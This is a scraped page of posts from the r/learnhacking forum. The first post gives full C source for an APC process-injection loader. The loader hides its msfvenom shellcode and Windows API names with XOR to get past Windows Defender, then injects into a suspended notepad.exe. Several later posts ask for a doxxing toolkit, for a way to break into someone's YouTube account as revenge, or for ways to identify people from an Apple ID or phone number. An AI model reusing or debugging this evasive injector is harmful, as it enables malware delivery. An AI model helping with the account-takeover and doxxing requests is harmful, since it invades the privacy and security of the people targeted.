r/learnhacking • • 8h ago

CODE ON C-Lang INCLUDED, need help with dynamic api resolution + apc injection

0 Upvotes

Hi everyone,
so firstfully i dont write any malware for selling and other illegal stuff im just interested in LEGAL hacking, all tests are only on my virtual machine

idea: it should create new notepad.exe process and do an APC injection into it and write shellcode there which would start calc.exe but winApi functions are resolved dynamically in runtime so it would survive on the disk and windows defender static analysis wouldnt block it

The problem: Idk why but my code doesnt work, it doesnt write anything in the konsole (i was checking if winApi functions returned error). and it isnt blocked by AV so idk what is the problem

details: key for any encrypted data here is 0x3F if someone wants to check it (but im pretty sure that i encrypted data correctly).I generated shellcode with msfvenom

#include <stdio.h>
#include <windows.h>
BYTE shellcode[] = {
0x59, 0x5C, 0x0B, 0x07, 0x07, 0x0C, 0x5A, 0x0B, 0x59, 0x0F, 0x5A, 0x07, 0x5C, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0F, 0x0B, 0x0E, 0x0A, 0x0E, 0x0B, 0x0E, 0x0A, 0x0F, 0x0A, 0x0D, 0x0A, 0x0E, 0x0A, 0x09, 0x0B, 0x07, 0x0C, 0x0E, 0x5B, 0x0D, 0x09, 0x0A, 0x0B, 0x07, 0x07, 0x5D, 0x0A, 0x0D, 0x09, 0x0F, 0x0B, 0x07, 0x07, 0x5D, 0x0A, 0x0D, 0x0E, 0x07, 0x0B, 0x07, 0x07, 0x5D, 0x0A, 0x0D, 0x0D, 0x0F, 0x0B, 0x07, 0x07, 0x5D, 0x08, 0x0D, 0x0A, 0x0F, 0x0B, 0x07, 0x0F, 0x59, 0x5D, 0x08, 0x0B, 0x5E, 0x0B, 0x5E, 0x0B, 0x5B, 0x0C, 0x0E, 0x5C, 0x06, 0x0B, 0x07, 0x0C, 0x0E, 0x5C, 0x0F, 0x5E, 0x5C, 0x0C, 0x5C, 0x09, 0x0E, 0x08, 0x5C, 0x0F, 0x0D, 0x0D, 0x5C, 0x0D, 0x0F, 0x0B, 0x0E, 0x5C, 0x0E, 0x5C, 0x06, 0x0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0x0A, 0x5D, 0x5B, 0x06, 0x5B, 0x59, 0x59, 0x5B, 0x0A, 0x0B, 0x07, 0x07, 0x0C, 0x5C, 0x0B, 0x0D, 0x07, 0x0C, 0x5C, 0x0F, 0x09, 0x08, 0x5C, 0x0F, 0x5E, 0x07, 0x0F, 0x59, 0x5D, 0x5A, 0x0F, 0x08, 0x0A, 0x0F, 0x0A, 0x5D, 0x5D, 0x0B, 0x08, 0x0E, 0x0C, 0x08, 0x0D, 0x09, 0x59, 0x09, 0x5E, 0x0F, 0x0F, 0x0A, 0x06, 0x0B, 0x0E, 0x07, 0x06, 0x5B, 0x5E, 0x59, 0x59, 0x5B, 0x0A, 0x09, 0x0C, 0x09, 0x0E, 0x09, 0x5C, 0x09, 0x0C, 0x0D, 0x5A, 0x09, 0x0A, 0x08, 0x07, 0x09, 0x0A, 0x0F, 0x0F, 0x3F
};
typedef int (WINAPI *Ptr_CreateProcessA)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef LPVOID (WINAPI *Ptr_VirtualAllocEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef int (WINAPI *Ptr_WriteProcessMemory)(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
typedef DWORD (WINAPI *Ptr_QueueUserAPC)(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);
typedef DWORD (WINAPI *Ptr_ResumeThread)(
HANDLE hThread
);

unsigned char Str_CreateProcessA[] = {0x7C, 0x4D, 0x5A, 0x5E, 0x4B, 0x5A, 0x6F, 0x4D, 0x50, 0x5C, 0x5A, 0x4C, 0x4C, 0x7E, 0x3F};
unsigned char Str_VirtualAllocEx[] = {0x69, 0x56, 0x4D, 0x4B, 0x4A, 0x5E, 0x53, 0x7E, 0x53, 0x53, 0x50, 0x5C, 0x7A, 0x47, 0x3F};
unsigned char Str_WriteProcessMemory[] = {0x68, 0x4D, 0x56, 0x4B, 0x5A, 0x6F, 0x4D, 0x50, 0x5C, 0x5A, 0x4C, 0x4C, 0x72, 0x5A, 0x52, 0x50, 0x4D, 0x46, 0x3F};
unsigned char Str_QueueUserAPC[] = {0x6E, 0x4A, 0x5A, 0x4A, 0x5A, 0x6A, 0x4C, 0x5A, 0x4D, 0x7E, 0x6F, 0x7C, 0x3F};
unsigned char Str_ResumeThread[] = {0x6D, 0x5A, 0x4C, 0x4A, 0x52, 0x5A, 0x6B, 0x57, 0x4D, 0x5A, 0x5E, 0x5B, 0x3F};
unsigned char Str_module_kernel32[] = {0x54, 0x5A, 0x4D, 0x51, 0x5A, 0x53, 0x0C, 0x0D, 0x11, 0x5B, 0x53, 0x53, 0x3F};
unsigned char Str_programm_name[] = {0x51, 0x50, 0x4B, 0x5A, 0x4F, 0x5E, 0x5B, 0x11, 0x5A, 0x47, 0x5A, 0x3F};
// ключ 0x3F
int decrypt(){
for(size_t i = 0;i<sizeof(Str_CreateProcessA);i++){
// sizeof возвращает size_t
Str_CreateProcessA[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(Str_VirtualAllocEx);i++){
Str_VirtualAllocEx[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(Str_WriteProcessMemory);i++){
Str_WriteProcessMemory[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(Str_QueueUserAPC);i++){
Str_QueueUserAPC[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(Str_ResumeThread);i++){
Str_ResumeThread[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(Str_module_kernel32);i++){
Str_module_kernel32[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(Str_programm_name);i++){
Str_programm_name[i] ^= 0x3F;
}
for(size_t i = 0;i<sizeof(shellcode);i++){
shellcode[i] ^= 0x3F;
}
return 0;
}
HMODULE hModule_kernel32 = 0;
Ptr_CreateProcessA ptr_CreateProcessA = 0;
Ptr_VirtualAllocEx ptr_VirtualAllocEx = 0;
Ptr_WriteProcessMemory ptr_WriteProcessMemory = 0;
Ptr_QueueUserAPC ptr_QueueUserAPC = 0;
Ptr_ResumeThread ptr_ResumeThread = 0;
int get_address(){
ptr_CreateProcessA = (Ptr_CreateProcessA)GetProcAddress(hModule_kernel32,Str_CreateProcessA);
ptr_VirtualAllocEx = (Ptr_VirtualAllocEx)GetProcAddress(hModule_kernel32,Str_VirtualAllocEx);
ptr_WriteProcessMemory = (Ptr_WriteProcessMemory)GetProcAddress(hModule_kernel32,Str_WriteProcessMemory);
ptr_QueueUserAPC = (Ptr_QueueUserAPC)GetProcAddress(hModule_kernel32,Str_QueueUserAPC);
ptr_ResumeThread = (Ptr_ResumeThread)GetProcAddress(hModule_kernel32,Str_ResumeThread);
return 0;
}
int main(void){
PROCESS_INFORMATION pi = {0};
STARTUPINFOA si = {0};
si.cb = (sizeof(si));

decrypt();
hModule_kernel32 = GetModuleHandleA(Str_module_kernel32);
get_address();
if(!ptr_CreateProcessA(NULL,Str_programm_name,NULL,NULL,FALSE,CREATE_SUSPENDED | CREATE_NO_WINDOW,NULL,NULL,&si,&pi)){
printf("error1 %d",GetLastError());
return 1;
}
LPVOID ptr_shellcode = ptr_VirtualAllocEx(pi.hProcess,NULL,sizeof(shellcode),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(ptr_shellcode==NULL){
printf("error2 %d",GetLastError());
return 1;
}
if(!ptr_WriteProcessMemory(pi.hProcess,ptr_shellcode,shellcode,sizeof(shellcode),NULL)){
printf("error3 %d",GetLastError());
return 1;
}
if(!ptr_QueueUserAPC((PAPCFUNC)ptr_shellcode,pi.hThread,0)){
printf("error4 %d",GetLastError());
return 1;
}
if(!ptr_ResumeThread(pi.hThread)){
printf("error5 %d",GetLastError());
return 1;
}
return 0;
}


r/learnhacking • • 11h ago

Does anyone have a copy of the Doxxer Toolkit repository by euronymou5?

Post image
0 Upvotes

I was recently looking for the "doxxer Toolkit" repository by euronymou5 to test a VPN against IP loggers, but I’ve realized that his GitHub account doesn’t even appear anymore. If anyone has the repository, it would be a huge help if you could send it to me via DM.


r/learnhacking • • 1d ago

I am 30 and want to become a ethical hacker.

8 Upvotes

I am 30 and currently working as a sales agent in a travel company .I dont know anything about hacking and **i want to become a hacker** can anyone give me a **genuine advice on how and where to begin** to become a hacker . I **want to self learn** first to understand this field.


r/learnhacking • • 20h ago

Les gars comment s'apelle le hack avec le canon

Thumbnail reddit.com
0 Upvotes

r/learnhacking • • 12h ago

Fake ip address

0 Upvotes

How do I fake my ip address? Step by step. I’m new to this lol.


r/learnhacking • • 1d ago

Need a group for learning cybersecurity I am beginner we can make a group intrested people can dm me

Thumbnail reddit.com
1 Upvotes

r/learnhacking • • 1d ago

Someone's been hacking me after my data got data breached

Post image
0 Upvotes

As of right now, im still able to log into all of my things but I dont know how far gone my systems are comprised, I got a letter saying my school records were breached, then my Microsoft started going crazy after, then someone's logging in and sending these pictures to everyone then deleting the chat, i will pay good money if anyone can reach out to me and help me out and explain why


r/learnhacking • • 1d ago

Buscar dados pelo número de telefone

Thumbnail reddit.com
0 Upvotes

Preciso de ajuda para entender uma situação que vem se tornando bastante preocupante e que, sinceramente, está começando a me causar certo receio.
Conheci uma pessoa pela internet, com quem mantenho contato pelo WhatsApp. Entretanto, essa pessoa troca de número com uma frequência incomum, às vezes utilizando o mesmo número por apenas uma semana. A justificativa é que costuma esquecer de colocar crédito na linha.

Outro detalhe é que os números apresentam DDDs diferentes: 11, 13 e 17, todos de São Paulo.
O que mais me preocupa, porém, é uma situação recorrente: informações que compartilho exclusivamente com essa pessoa acabam chegando ao conhecimento de terceiros. Em algumas ocasiões, fiz testes, compartilhando informações propositalmente falsas e específicas, que não contei a mais ninguém. Ainda assim, essas mesmas informações chegaram a outra pessoa.
Isso tem acontecido repetidamente e está me fazendo questionar se existe alguma relação entre essas pessoas, se estou conversando com alguém que utiliza diferentes identidades ou até se existe alguma tentativa deliberada de influenciar minhas decisões, manipular situações ou obter informações sobre mim.
Não quero fazer acusações sem provas, mas o conjunto dessas circunstâncias me preocupa bastante, principalmente pela possibilidade de estar sendo manipulada sem perceber.

Gostaria de encontrar alguém com conhecimento técnico que possa me orientar sobre como investigar esses números
Se alguém já passou por algo semelhante ou conhece ferramentas confiáveis para esse tipo de verificação, agradeço muito a ajuda.


r/learnhacking • • 1d ago

Free cybersecurity learning: 9 career paths, 83 learning paths, 372 rooms and 64 CTFs

Post image
1 Upvotes

I’m behind Codelivly, a free cybersecurity learning platform. Here’s what’s available right now:

  • 9 career paths
  • 83 learning paths
  • 372 learning rooms, including 367 with browser labs
  • 42 standalone labs
  • 64 CTF challenges
  • 18 simulations

Topics include SOC analysis, junior penetration testing, cloud security, digital forensics, threat intelligence and AI red teaming. There are Linux and networking fundamentals if you’re starting from scratch.

You can practise commands, investigate suspicious login logs, work through web security exercises and solve CTFs in your browser. A free account saves your progress.

All of it is free. No subscription or credit card required.

codelivly.com


r/learnhacking • • 1d ago

Como instalo tor browser en windows?

0 Upvotes

Quiero descargar el navegador tor en mi pc, pero estoy inseguro a la hora de descargarlo porque luego dicen que si no lo instalas bien te meten virus o así. Quisiera instalarlo con su mejor privacidad que tenga


r/learnhacking • • 1d ago

How d. I hack soeones youtube account

0 Upvotes

So if you're somwhow too stupid to understand what I want from the title, I want to hack/get into a Youtube account. This would be really useful for me as there is some idiotic jerk with a few 13 - 15 year old videos, if I could delete one of their videos that would be really cool as payback for annoying me. they said I was "Being silly" then basically told me to be quiet


r/learnhacking • • 2d ago

Dark wep

2 Upvotes

"I want to explore the dark web and want anyone give me links to various things and unknown websites."


r/learnhacking • • 2d ago

Where do I start ?

0 Upvotes

So I’m completely new to the “hacking” of love to get to know different aspects and really understand it from being a white knight to the dark side of hacking. If someone is willing to train/ teach me these skills. I have a laptop that’d I love to learn all these things on


r/learnhacking • • 2d ago

Need help urgent

0 Upvotes

Guys I have been suffering from cyber bullying and harrassment ,

There is a group of people who is texting me and my family members my neighbourhood via various Instagram accounts , Facebook and Whatsapp numbers I don't know what they want why are they doing this . Me and my family are suffering from a lot of mental trauma . I have logged three complain at our national cyber crime portal but now the attacker is telling his name and threatening us by showing our national identity card details , and by texting everyone related to us and connected to us by various means I am in too much stress that I want to kill myself thats what he wants I know the person who is doing this I have his socials , official accounts but I don't know how to track them and what to do about them . Please is there is anyone who can help me out in any means to track them and get the proofs against them .

Please help me out or reach me out via dms.

I am an f20 from Pakistan.


r/learnhacking • • 2d ago

Part 2 is here — From Detecting NoSQLi to Bypassing Login With Operator Injection

Thumbnail
reddit.com
1 Upvotes

r/learnhacking • • 2d ago

Part 2 is here — From Detecting NoSQLi to Bypassing Login With Operator Injection

Thumbnail
reddit.com
1 Upvotes

r/learnhacking • • 2d ago

Find someone

0 Upvotes

I want to find someone on reddit through his apple id can someone help me i wanna know if he is on reddit


r/learnhacking • • 2d ago

Find someone

0 Upvotes

I want to find someone but i don't know his username because its anonymous is there anyway i can find him i have his apple id


r/learnhacking • • 2d ago

So I need a little help? I have a number , I want to know who the person is. ( I don't know her but she knows me )

Thumbnail reddit.com
1 Upvotes

r/learnhacking • • 3d ago

How to be anonymous

0 Upvotes

How a extreme privacy man like elliot they anonymity.